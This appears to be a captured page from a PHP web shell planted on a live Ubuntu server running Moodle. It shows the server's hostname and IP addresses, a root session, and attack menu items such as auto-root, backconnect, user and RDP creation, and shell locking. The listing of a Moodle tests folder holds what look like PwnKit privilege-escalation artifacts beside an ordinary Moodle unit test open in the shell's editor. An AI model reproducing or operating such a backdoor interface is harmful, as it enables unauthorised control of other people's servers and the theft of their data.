Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
course /
format /
weeks /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
format_weeks_test.php
11.2
KB
-rwxrwxrwx
observer_test.php
7.37
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : observer_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for the event observers used by the weeks course format. * * @package format_weeks * @copyright 2017 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Unit tests for the event observers used by the weeks course format. * * @package format_weeks * @copyright 2017 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class format_weeks_observer_testcase extends advanced_testcase { /** * Test setup. */ public function setUp() { $this->resetAfterTest(); } /** * Tests when we update a course with automatic end date set. */ public function test_course_updated_with_automatic_end_date() { global $DB; // Generate a course with some sections. $numsections = 6; $startdate = time(); $course = $this->getDataGenerator()->create_course(array( 'numsections' => $numsections, 'format' => 'weeks', 'startdate' => $startdate, 'automaticenddate' => 1)); // Ok, let's update the course start date. $newstartdate = $startdate + WEEKSECS; update_course((object)['id' => $course->id, 'startdate' => $newstartdate]); // Get the updated course end date. $enddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); $format = course_get_format($course->id); $this->assertEquals($numsections, $format->get_last_section_number()); $this->assertEquals($newstartdate, $format->get_course()->startdate); $dates = $format->get_section_dates($numsections); $this->assertEquals($dates->end, $enddate); } /** * Tests when we update a course with automatic end date set but no actual change is made. */ public function test_course_updated_with_automatic_end_date_no_change() { global $DB; // Generate a course with some sections. $course = $this->getDataGenerator()->create_course(array( 'numsections' => 6, 'format' => 'weeks', 'startdate' => time(), 'automaticenddate' => 1)); // Get the end date from the DB as the results will have changed from $course above after observer processing. $createenddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); // Ok, let's update the course - but actually not change anything. update_course((object)['id' => $course->id]); // Get the updated course end date. $updateenddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); // Confirm nothing changed. $this->assertEquals($createenddate, $updateenddate); } /** * Tests when we update a course without automatic end date set. */ public function test_course_updated_without_automatic_end_date() { global $DB; // Generate a course with some sections. $startdate = time(); $enddate = $startdate + WEEKSECS; $course = $this->getDataGenerator()->create_course(array( 'numsections' => 6, 'format' => 'weeks', 'startdate' => $startdate, 'enddate' => $enddate, 'automaticenddate' => 0)); // Ok, let's update the course start date. $newstartdate = $startdate + WEEKSECS; update_course((object)['id' => $course->id, 'startdate' => $newstartdate]); // Get the updated course end date. $updateenddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); // Confirm nothing changed. $this->assertEquals($enddate, $updateenddate); } /** * Tests when we adding a course section with automatic end date set. */ public function test_course_section_created_with_automatic_end_date() { global $DB; $numsections = 6; $course = $this->getDataGenerator()->create_course(array( 'numsections' => $numsections, 'format' => 'weeks', 'startdate' => time(), 'automaticenddate' => 1)); // Add a section to the course. course_create_section($course->id); // Get the updated course end date. $enddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); $format = course_get_format($course->id); $dates = $format->get_section_dates($numsections + 1); // Confirm end date was updated. $this->assertEquals($enddate, $dates->end); } /** * Tests when we update a course without automatic end date set. */ public function test_create_section_without_automatic_end_date() { global $DB; // Generate a course with some sections. $startdate = time(); $enddate = $startdate + WEEKSECS; $course = $this->getDataGenerator()->create_course(array( 'numsections' => 6, 'format' => 'weeks', 'startdate' => $startdate, 'enddate' => $enddate, 'automaticenddate' => 0)); // Delete automatic end date from the database. $DB->delete_records('course_format_options', ['courseid' => $course->id, 'name' => 'automaticenddate']); // Create a new section. course_create_section($course->id, 0); // Get the updated course end date. $updateenddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); // Confirm enddate is automatic now - since automatic end date is not set it is assumed default (which is '1'). $format = course_get_format($course->id); $this->assertEquals(7, $format->get_last_section_number()); $dates = $format->get_section_dates(7); $this->assertEquals($dates->end, $updateenddate); } /** * Tests when we deleting a course section with automatic end date set. */ public function test_course_section_deleted_with_automatic_end_date() { global $DB; // Generate a course with some sections. $numsections = 6; $course = $this->getDataGenerator()->create_course(array( 'numsections' => $numsections, 'format' => 'weeks', 'startdate' => time(), 'automaticenddate' => 1)); // Add a section to the course. course_delete_section($course, $numsections); // Get the updated course end date. $enddate = $DB->get_field('course', 'enddate', array('id' => $course->id)); $format = course_get_format($course->id); $dates = $format->get_section_dates($numsections - 1); // Confirm end date was updated. $this->assertEquals($enddate, $dates->end); } }
Close